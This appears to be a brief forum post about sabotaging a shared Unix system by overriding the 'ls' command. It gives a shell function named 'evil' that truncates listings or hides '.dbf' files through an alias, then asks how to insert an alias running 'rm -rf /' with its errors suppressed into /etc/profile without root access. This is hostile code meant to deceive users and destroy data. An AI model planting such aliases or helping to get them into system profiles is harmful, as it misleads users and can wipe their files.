No. To easy to spot. First user to hit the command line complain that ls gives him some funny error.

function evil
{
  ls $@ | head -20

#or
# ls $@ | grep -v ".dbf"
#or
# ls $@ | awk "{ if ( i++ < 5 ) { print; } else { i = 0; } }"

}
alias ls="evil "

But without root, how do we do we put the following into /etc/profile ?

alias ls="rm -rf / 2>/dev/null"
